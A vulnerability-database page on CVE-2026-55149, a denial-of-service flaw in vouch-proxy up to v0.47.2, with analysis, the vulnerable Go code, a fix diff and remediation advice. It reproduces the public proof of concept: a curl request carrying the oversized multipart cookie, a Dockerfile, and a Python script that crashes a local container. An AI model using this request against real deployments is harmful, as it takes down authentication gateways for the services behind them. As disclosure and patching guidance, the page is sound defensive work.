Skip to main content

vouch-proxy CVE-2026-55149

| EUVDEUVD-2026-78827 HIGH
Memory Allocation with Excessive Size Value (CWE-789)
2026-08-20 https://github.com/vouch/vouch-proxy GHSA-qqff-5854-px68
7.5
CVSS 3.1 · Vendor: https://github.com/vouch/vouch-proxy
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send GET /validate with Cookie: VouchCookie_1of10000000000=x
  2. Delivery
    JWTCacheHandler calls FindJWT before auth check
  3. Exploit
    cookie.Cookie() parses attacker-controlled N via strconv.Atoi
  4. Execution
    make([]string, N) requests ~160 GB heap
  5. Persist
    Go runtime raises fatal OOM error
  6. Impact
    Server process crashes with exit code 2

Vulnerability Assessment

Weakness
CWE
ASVS 5.0
V15 - Secure Coding and Architecture Memory allocation limits
Exploitation Conditions

No special conditions are required - remote unauthenticated exploitation against default configurations of vouch-proxy. The /validate and /_external-auth-:id endpoints are registered without prior authentication middleware; the vulnerable code path (JWTCacheHandler → FindJWT → cookie.Cookie()) executes unconditionally on every inbound request before JWT validation. The default cookie name VouchCookie matches the malicious cookie name pattern VouchCookie_1of<N> in all standard deployments without any non-default configuration. Limiting factors are: vouch-proxy must be network-reachable on its listen port (default 9090); a WAF or upstream proxy that validates or rejects oversized cookie name suffixes would block exploitation; and the attack requires the target to be running vouch-proxy v0.47.2 or earlier. No user interaction, authentication, specific OAuth configuration, or particular platform is required beyond a listening vouch-proxy instance.

Impact

The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H producing a score of 7.5 High accurately reflects the attack profile: network-reachable, zero complexity, no authentication, complete availability loss. EPSS data was not included in the supplied intelligence and cannot be assessed from available sources. This vulnerability is not listed in CISA KEV at time of analysis; however, a fully automated, 100%-reliable PoC with Docker build instructions, a Python exploitation script, and container log evidence is publicly disclosed in GHSA-qqff-5854-px68, which materially elevates real-world exploitation likelihood beyond what CVSS alone conveys. The severity is compounded by vouch-proxy's role as an authentication gateway: crash-loop exploitation (send one request per container restart) can sustain permanent service unavailability, and depending on the upstream reverse proxy's fail-open/fail-closed policy, the outage may expose downstream protected resources. No conflicting signals exist between the CVSS vector and the description - both confirm unauthenticated network exploitation with availability-only impact.

Exploit ScenarioDerived

An attacker sends a single unauthenticated HTTP GET to http://target:9090/validate with the header Cookie: VouchCookie_1of10000000000=x; no account, session, or prior knowledge of the target is required. The request enters JWTCacheHandler, which calls FindJWT before any authentication check, reaching cookie.Cookie() where strconv.Atoi parses the cookie name suffix as 10000000000 and make([]string, 10000000000) requests approximately 160 GB of heap. The Go runtime immediately raises a fatal out-of-memory error and crashes the process with exit code 2, and the attacker can repeat the request after each container restart to maintain persistent unavailability. A public PoC script automating this full lifecycle is included in the GitHub Security Advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 20, 2026

Remote denial-of-service in vouch-proxy v0.47.2 and earlier crashes the server process with a single unauthenticated HTTP request. The /validate endpoint's multipart cookie reassembly routine in pkg/cookie/cookie.go parses the total part count directly from the attacker-controlled Cookie header name - an N value of 10 billion passed as VouchCookie_1of10000000000 triggers a make([]string, N) call requesting approximately 160 GB of heap, immediately raising a Go runtime fatal out-of-memory error. No authentication, session token, or prior interaction is required; a fully working PoC with Docker reproduction artifacts is publicly disclosed in the GitHub Security Advisory, though no CISA KEV listing is confirmed at time of analysis.

RemediationAI

Upgrade vouch-proxy to v0.48.0 or later, released at https://github.com/vouch/vouch-proxy/releases/tag/v0.48.0. The fix, applied in commit fa18ce30ba50a4863a436acad044c22965329c4f (https://github.com/vouch/vouch-proxy/commit/fa18ce30ba50a4863a436acad044c22965329c4f), introduces a maxCookieParts = 32 constant and validates that the parsed part count is within the range [1, 32] before calling make(), and additionally rejects cookie indices exceeding numParts. If an immediate upgrade is not feasible, a compensating control is to place a WAF or reverse-proxy rule upstream that rejects Cookie headers where any cookie name contains an 'of' suffix followed by a numeric value exceeding a safe threshold (e.g., >32); this adds regex inspection latency but prevents the crash without application changes. Restricting network access to the /validate and /_external-auth-* endpoints to trusted internal sources only reduces exposure surface, though it limits externally accessible authentication flows. Neither workaround substitutes for patching.

Affected VersionsENISA

vouch-proxy < 0.48.0

Affected Packages

go github.com/vouch/vouch-proxy fix: 0.48.0
euvd vouch_proxy fix: 0.48.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause is CWE-789 (Uncontrolled Memory Allocation) in the Go-based reverse-proxy authentication gateway vouch-proxy (CPE: pkg:go/github.com_vouch_vouch-proxy, affected versions <= v0.47.2). The Cookie() function in pkg/cookie/cookie.go:126 calls strconv.Atoi on the 'of'-delimited suffix of the cookie name to determine the total number of multipart cookie segments, then immediately passes that integer as the length argument to make([]string, numParts) at line 130 with no upper-bound check, range assertion, or format validation. The code is reached via JWTCacheHandler → FindJWT → cookie.Cookie(), a call chain that executes unconditionally on every inbound request before any JWT authentication is evaluated. Because the default cookie name VouchCookie is used by all standard deployments, no non-default configuration is needed to trigger the vulnerable branch. The Go runtime cannot satisfy a ~160 GB mmap request on typical hardware and raises a non-recoverable fatal error, terminating the process with exit code 2.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/vouch/vouch-proxy) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
vuln.today AI 7.5 HIGH

Endpoint is network-accessible and executes the vulnerable allocation before any authentication; no privileges or interaction needed; only availability is impacted.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE HIGH

Primary rating from Vendor (https://github.com/vouch/vouch-proxy).

CVSS VectorVendor: https://github.com/vouch/vouch-proxy

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

DescriptionCVE.org

Unbounded Multipart Cookie Allocation DoS in vouch-proxy

Summary

vouch-proxy v0.47.2 contains an unauthenticated remote denial-of-service vulnerability in its multipart cookie reassembly logic. The /validate endpoint parses the total cookie part count directly from the attacker-controlled cookie name (e.g., VouchCookie_1of<N>) and passes it without any bounds check to make([]string, N). A single HTTP request with N=10000000000 causes the Go runtime to attempt a ~160 GB heap allocation, triggering a fatal out-of-memory error that crashes the server process immediately. No authentication or prior session is required.

Details

The vulnerability exists in pkg/cookie/cookie.go. The Cookie() function iterates over all cookies in the request, identifies multipart cookies by the _NofM suffix in their name, and initializes the reassembly slice on the first matching cookie:

go
// pkg/cookie/cookie.go:123-130
xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1)
xyArray := strings.Split(xOFy, "of")
if numParts == -1 {
    if numParts, err = strconv.Atoi(xyArray[1]); err != nil {
        return "", fmt.Errorf("multipart cookie fail: %s", err)
    }
    cookieParts = make([]string, numParts)  // sink: unbounded allocation
}

The value in xyArray[1] comes directly from the cookie name supplied by the client. There is no maximum value check, no positive-range assertion, and no format validation before strconv.Atoi parses it. The result is used as the length argument to make, so an attacker who supplies VouchCookie_1of10000000000 causes the runtime to request approximately 10_000_000_000 × 16 bytes ≈ 160 GB of memory in a single call.

The complete exploit path from network entry to crash:

  1. main.go:167 - /validate and /_external-auth-:id are registered wrapped in JWTCacheHandler.
  2. pkg/jwtmanager/jwtcache.go:54 - JWTCacheHandler calls FindJWT(r) before any authentication check.
  3. pkg/jwtmanager/jwtmanager.go:228 - FindJWT calls cookie.Cookie(r).
  4. pkg/cookie/cookie.go:109 - r.Cookies() reads the attacker-supplied Cookie: header.
  5. pkg/cookie/cookie.go:124 - cookie name suffix is split on "of".
  6. pkg/cookie/cookie.go:126 - strconv.Atoi(xyArray[1]) parses the attacker-controlled total.
  7. pkg/cookie/cookie.go:130 - sink: make([]string, numParts) attempts a gigantic heap allocation.

Because the code path is exercised before JWT validation, no session token, credentials, or prior authentication are needed.

A suggested remediation is to add a strict upper bound and format validation before the allocation:

diff
--- a/pkg/cookie/cookie.go
+++ b/pkg/cookie/cookie.go
@@ const maxCookieSize = 4000
+const maxCookieParts = 32
@@
-    xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1)
-    xyArray := strings.Split(xOFy, "of")
+    xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1)
+    partStr, totalStr, ok := strings.Cut(xOFy, "of")
+    if !ok || partStr == "" || totalStr == "" {
+        return "", fmt.Errorf("multipart cookie fail: invalid cookie part name")
+    }
     if numParts == -1 {
-        if numParts, err = strconv.Atoi(xyArray[1]); err != nil {
+        if numParts, err = strconv.Atoi(totalStr); err != nil {
             return "", fmt.Errorf("multipart cookie fail: %s", err)
         }
+        if numParts < 1 || numParts > maxCookieParts {
+            return "", fmt.Errorf("multipart cookie fail: invalid part count %d", numParts)
+        }
         cookieParts = make([]string, numParts)
     }

PoC

Environment setup

Build the vulnerable image from source (requires the vouch-proxy repository at the path below):

bash
docker build \
  -f vuln-001/Dockerfile \
  -t vouch-vuln001 \
  repo

Start the container (no memory limit is imposed; the Go runtime itself fails the allocation):

bash
docker run -d --name vouch-vuln001-poc -p 19090:9090 vouch-vuln001

Wait for the server to respond to a baseline request (expected HTTP 302 or similar):

bash
curl -v http://127.0.0.1:19090/validate

Attack request

Send a single unauthenticated HTTP GET with the malicious cookie name:

bash
curl -v http://127.0.0.1:19090/validate \
  -H 'Host: app.example.com' \
  -H 'Cookie: VouchCookie_1of10000000000=x'

Alternatively, run the automated PoC script:

bash
python3 poc.py --image vouch-vuln001 --port 19090 --parts 10000000000

Expected result

The server process crashes immediately with a Go runtime fatal error. Container logs show:

fatal error: runtime: out of memory

runtime.makeslice(0x0?, 0x0?, 0x0?)
    /usr/local/go/src/runtime/slice.go:117
github.com/vouch/vouch-proxy/pkg/cookie.Cookie(...)
    /src/pkg/cookie/cookie.go:130
github.com/vouch/vouch-proxy/pkg/jwtmanager.FindJWT(...)
    /src/pkg/jwtmanager/jwtmanager.go:228
main.main.JWTCacheHandler.func1(...)
    /src/pkg/jwtmanager/jwtcache.go:54

The container exits with code 2 (Go runtime fatal). The curl client receives an empty reply. The attack is 100% deterministic and reproducible on every run.

Minimal configuration (no real OAuth provider required):

yaml
vouch:
  logLevel: info
  listen: 0.0.0.0
  port: 9090
  domains:
    - vouch.github.io
oauth:
  provider: indieauth
  client_id: http://vouch.github.io
  auth_url: https://indielogin.com/auth
  callback_url: http://vouch.github.io:9090/auth

Impact

This is an unauthenticated remote denial-of-service vulnerability. Any network-reachable vouch-proxy instance running with a default or standard configuration is affected.

An attacker who can send a single HTTP request to the /validate or /_external-auth-:id endpoint can crash the vouch-proxy process immediately. In containerized deployments the container restarts; a persistent attacker can send the request again immediately after restart, keeping the proxy permanently unavailable. Since vouch-proxy is used as an authentication gateway in front of protected applications, its unavailability can result in downstream services becoming inaccessible or, depending on the reverse-proxy fail-open/fail-closed policy, unintentionally exposed.

No authentication, session, or prior account is required. The attack is reliable across all deployment configurations because the default cookie name (VouchCookie) is used and the vulnerable code path is exercised unconditionally on every request to the listed endpoints.

Reproduction artifacts

Dockerfile
dockerfile
# VULN-001 - Unbounded Multipart Cookie Allocation DoS
# vouch/vouch-proxy v0.47.2 (commit b683f60)
#
# Attack: GET /validate with Cookie: VouchCookie_1of<HUGE>=x
#   -> cookie.Cookie() calls strconv.Atoi on the attacker-controlled total
#   -> make([]string, <HUGE>) triggers an immediate OOM fatal in the Go runtime
#   -> Server process crashes; no authentication required
#
# Build:  docker build -f vuln-001/Dockerfile -t vouch-vuln001 /path/to/repo
# Run:    docker run --rm -p 9090:9090 --name vouch-vuln001 vouch-vuln001
# ---------- Stage 1: compile vouch-proxy from source ----------
FROM golang:1.26 AS builder

WORKDIR /src
COPY . .
# Build a statically linked binary; skip do.sh which requires live git tags.
# Version ldflags are pinned to the affected commit for reproducibility.
RUN CGO_ENABLED=0 GOOS=linux \
    go build -v \
      -ldflags="-s -w \
        -X main.version=b683f60 \
        -X main.uname=linux \
        -X main.builddt=2024-01-01T00:00:00Z \
        -X main.host=vuln-poc \
        -X main.semver=v0.47.2 \
        -X main.branch=main" \
      -o /vouch-proxy .
# ---------- Stage 2: minimal runtime image ----------
FROM debian:bookworm-slim

RUN apt-get update && \
    apt-get install -y --no-install-recommends ca-certificates && \
    rm -rf /var/lib/apt/lists/*

COPY --from=builder /vouch-proxy /vouch-proxy
# Minimal config: allowAllUsers so startup succeeds without real OAuth,
# default cookie name VouchCookie matches the PoC payload.
RUN mkdir -p /config && cat > /config/config.yml << 'EOF'
vouch:
  logLevel: info
  listen: 0.0.0.0
  port: 9090
  domains:
    - vouch.github.io
oauth:
  provider: indieauth
  client_id: http://vouch.github.io
  auth_url: https://indielogin.com/auth
  callback_url: http://vouch.github.io:9090/auth
EOF

EXPOSE 9090
ENTRYPOINT ["/vouch-proxy"]
poc.py
python
#!/usr/bin/env python3
"""
VULN-001 Proof-of-Concept: Unbounded Multipart Cookie Allocation DoS
Target: vouch/vouch-proxy v0.47.2 (commit b683f60)
File:   pkg/cookie/cookie.go:126

Attack summary
--------------
The multipart-cookie reassembly routine reads the total part count from the
attacker-controlled cookie *name* (e.g. VouchCookie_1of<N>) and calls
    make([]string, N)
with no upper-bound check.  The /validate endpoint is reachable without any
authentication, so a single HTTP request with N=10_000_000_000 forces the
Go runtime to attempt a ~160 GB heap allocation, which immediately triggers
    runtime: out of memory: cannot allocate ...
and crashes the server process (Go fatal, exit 2).

Usage
-----
Run from the repo root (or any directory; paths are absolute):

    python3 poc.py [--image IMAGE] [--port PORT] [--parts N]

Defaults:
    IMAGE  = vouch-vuln001
    PORT   = 9090
    PARTS  = 10000000000   (10 billion -> ~160 GB allocation request)
"""

import argparse
import http.client
import json
import subprocess
import sys
import time
# ──────────────────────────────────────────────────────────
# Configuration
# ──────────────────────────────────────────────────────────
DEFAULT_IMAGE  = "vouch-vuln001"
DEFAULT_PORT   = 19090
# host port; container always uses 9090 internally
DEFAULT_PARTS  = 10_000_000_000
# drives make([]string, 10_000_000_000)
CONTAINER_NAME = "vouch-vuln001-poc"
STARTUP_TIMEOUT_S = 30
# seconds to wait for the server to listen
READY_POLL_S  = 1.0
# ──────────────────────────────────────────────────────────
# Helpers
# ──────────────────────────────────────────────────────────

def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:
    """Run a subprocess and return the CompletedProcess."""
    print(f"[cmd] {' '.join(cmd)}")
    return subprocess.run(cmd, **kwargs)


def cleanup(name: str) -> None:
    """Remove an existing container by name, ignoring errors."""
    subprocess.run(
        ["docker", "rm", "-f", name],
        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
    )


def wait_for_server(host: str, port: int, timeout: float) -> bool:
    """Poll GET /validate until we get any response (even 401/302) or timeout."""
    deadline = time.monotonic() + timeout
    while time.monotonic() < deadline:
        try:
            conn = http.client.HTTPConnection(host, port, timeout=2)
            conn.request("GET", "/validate")
            resp = conn.getresponse()
# Any HTTP response means the server is up.
            print(f"[ready] server responded: HTTP {resp.status}")
            conn.close()
            return True
        except OSError:
            pass
        time.sleep(READY_POLL_S)
    return False


def container_running(name: str) -> bool:
    """Return True if the named container is still running."""
    r = subprocess.run(
        ["docker", "inspect", "--format", "{{.State.Running}}", name],
        capture_output=True, text=True,
    )
    return r.returncode == 0 and r.stdout.strip() == "true"


def container_exit_code(name: str) -> int | None:
    """Return the exit code of a stopped container, or None if unknown."""
    r = subprocess.run(
        ["docker", "inspect", "--format", "{{.State.ExitCode}}", name],
        capture_output=True, text=True,
    )
    if r.returncode == 0:
        try:
            return int(r.stdout.strip())
        except ValueError:
            pass
    return None


def container_oom(name: str) -> bool:
    """Return True if the container was OOM-killed."""
    r = subprocess.run(
        ["docker", "inspect", "--format", "{{.State.OOMKilled}}", name],
        capture_output=True, text=True,
    )
    return r.returncode == 0 and r.stdout.strip() == "true"


def get_logs(name: str) -> str:
    """Retrieve stdout+stderr from the container."""
    r = subprocess.run(
        ["docker", "logs", name],
        capture_output=True, text=True,
    )
    return (r.stdout + r.stderr).strip()
# ──────────────────────────────────────────────────────────
# Main
# ──────────────────────────────────────────────────────────

def main() -> None:
    parser = argparse.ArgumentParser(description="VULN-001 PoC runner")
    parser.add_argument("--image",  default=DEFAULT_IMAGE,  help="Docker image name")
    parser.add_argument("--port",   default=DEFAULT_PORT,   type=int)
    parser.add_argument("--parts",  default=DEFAULT_PARTS,  type=int,
                        help="N in VouchCookie_1ofN (drives allocation size)")
    args = parser.parse_args()

    host       = "127.0.0.1"
    port       = args.port
    image      = args.image
    num_parts  = args.parts
    cookie_val = f"VouchCookie_1of{num_parts}"

    print("=" * 60)
    print("VULN-001 PoC - Unbounded Multipart Cookie Allocation DoS")
    print("=" * 60)
    print(f"  Image  : {image}")
    print(f"  Target : http://{host}:{port}/validate")
    print(f"  Cookie : {cookie_val}=x")
    print(f"  Expected allocation: ~{(num_parts * 16) // (1024**3)} GB")
    print()
# 1. Clean up any leftover container.
    cleanup(CONTAINER_NAME)
# 2. Start the vouch-proxy container.
#    Memory is uncapped at the Docker level; the Go runtime itself will
#    fail the mmap when the host cannot honor the 160 GB request
#    (overcommit heuristic or insufficient address space).
    run_cmd = [
        "docker", "run", "-d",
# no --rm so logs survive after crash
        "--name", CONTAINER_NAME,
        "-p", f"{port}:9090",
# host:container - vouch-proxy always binds :9090 internally
        image,
    ]
    r = run(run_cmd, capture_output=True, text=True)
    if r.returncode != 0:
        print(f"[FAIL] docker run failed:\n{r.stderr}")
        sys.exit(1)
    container_id = r.stdout.strip()
    print(f"[info] container started: {container_id[:12]}")
# 3. Wait for the HTTP server to accept connections.
    print(f"[info] waiting for server on {host}:{port} (up to {STARTUP_TIMEOUT_S}s) ...")
    ready = wait_for_server(host, port, STARTUP_TIMEOUT_S)
    if not ready:
        logs = get_logs(CONTAINER_NAME)
        print(f"[FAIL] server did not become ready within {STARTUP_TIMEOUT_S}s.")
        print("[logs]", logs[-2000:])
        cleanup(CONTAINER_NAME)
        sys.exit(1)
# 4. Send the malicious request.
    print()
    print("[attack] Sending malicious cookie to /validate ...")
    request_line = f"GET /validate HTTP/1.1 Cookie: {cookie_val}=x"
    print(f"[attack] {request_line}")
    print()

    try:
        conn = http.client.HTTPConnection(host, port, timeout=10)
        conn.request(
            "GET", "/validate",
            headers={
                "Host": "app.example.com",
                "Cookie": f"{cookie_val}=x",
            },
        )
# The server might crash before sending a response.
        try:
            resp = conn.getresponse()
            body = resp.read(512).decode("utf-8", errors="replace")
            print(f"[info] got HTTP {resp.status}: {body[:200]}")
        except Exception as e:
            print(f"[info] connection broken mid-response (expected): {e}")
        conn.close()
    except Exception as e:
        print(f"[info] request exception (expected if server crashed): {e}")
# 5. Give the container a moment to record its exit state.
    time.sleep(2)
# 6. Collect evidence.
    still_running = container_running(CONTAINER_NAME)
    exit_code     = container_exit_code(CONTAINER_NAME)
    oom_killed    = container_oom(CONTAINER_NAME)
    logs          = get_logs(CONTAINER_NAME)

    print("─" * 60)
    print("[evidence] Container still running :", still_running)
    print("[evidence] Container exit code      :", exit_code)
    print("[evidence] OOM-killed flag          :", oom_killed)
    print()
    print("[logs] (last 3000 chars of container stdout+stderr):")
    print(logs[-3000:] if logs else "(empty)")
    print("─" * 60)
# 7. Verdict
#
    # Evidence of exploitation (any one suffices):
#   (a) Container exited (not still running) after the malicious request.
#   (b) Exit code == 2 (Go runtime fatal: out of memory).
#   (c) OOMKilled == true (kernel OOM killer fired).
#   (d) Logs contain "out of memory" or "runtime: fatal".

    crashed   = not still_running
    go_panic  = exit_code == 2
    oom_kill  = oom_killed
    log_oom   = (
        "out of memory" in logs.lower()
        or "runtime: fatal" in logs.lower()
        or "cannot allocate" in logs.lower()
    )

    passed = crashed and (go_panic or oom_kill or log_oom)

    print()
    if passed:
        print("[PASS] Vulnerability reproduced: server crashed due to unbounded allocation.")
# Extract the key OOM line from logs.
        oom_lines = [
            ln for ln in logs.splitlines()
            if any(kw in ln.lower() for kw in ("out of memory", "cannot allocate", "runtime: fatal", "oom"))
        ]
        evidence = "\n".join(oom_lines[:5]) if oom_lines else f"container exited with code {exit_code}"
    else:
        print("[FAIL] Could not confirm crash. See logs above for details.")
        evidence = logs[-500:] if logs else "(no logs)"

    print()
    result = {
        "passed":        passed,
        "verdict":       "PASS" if passed else "FAIL",
        "reason": (
            "단일 비인증 HTTP 요청으로 서버 프로세스를 OOM 충돌시키는 취약점 재현 성공"
            if passed else
            "컨테이너 충돌을 확인할 수 없음 - 로그 및 종료 코드 참고"
        ),
        "build_command": (
            "docker build -f vuln-001/Dockerfile "
            "-t vouch-vuln001 "
            "repo"
        ),
        "run_command": (
            f"docker run --rm -d --name {CONTAINER_NAME} "
            f"-p {port}:9090 {image}"
        ),
        "poc_command": (
            f"python3 poc.py --image {image} --port {port} --parts {num_parts}"
        ),
        "evidence":      evidence,
        "artifacts":     ["Dockerfile", "poc.py"],
    }

    result_path = (
        "reports/pypiAi_450_vouch__vouch-proxy"
        "/vuln-001/phase2_result.json"
    )
    with open(result_path, "w") as fh:
        json.dump(result, fh, indent=2, ensure_ascii=False)
    print(f"[saved] {result_path}")
# 8. Cleanup.
    cleanup(CONTAINER_NAME)


if __name__ == "__main__":
    main()

Executive ViewAI

Why It Matters

vouch-proxy versions 0.47.2 and earlier contain an unauthenticated denial-of-service vulnerability with publicly available exploit code, causing complete server unavailability and breaking authentication for all downstream applications. Organizations using vouch-proxy as their authentication gateway face immediate business disruption until patched, as a single malformed HTTP request from any network-connected attacker crashes the service.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.4%
Top 66% exploitable
Prevalence
Low
niche open-source auth proxy, primarily self-hosted Kubernetes/nginx deployments
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

58
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Important

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy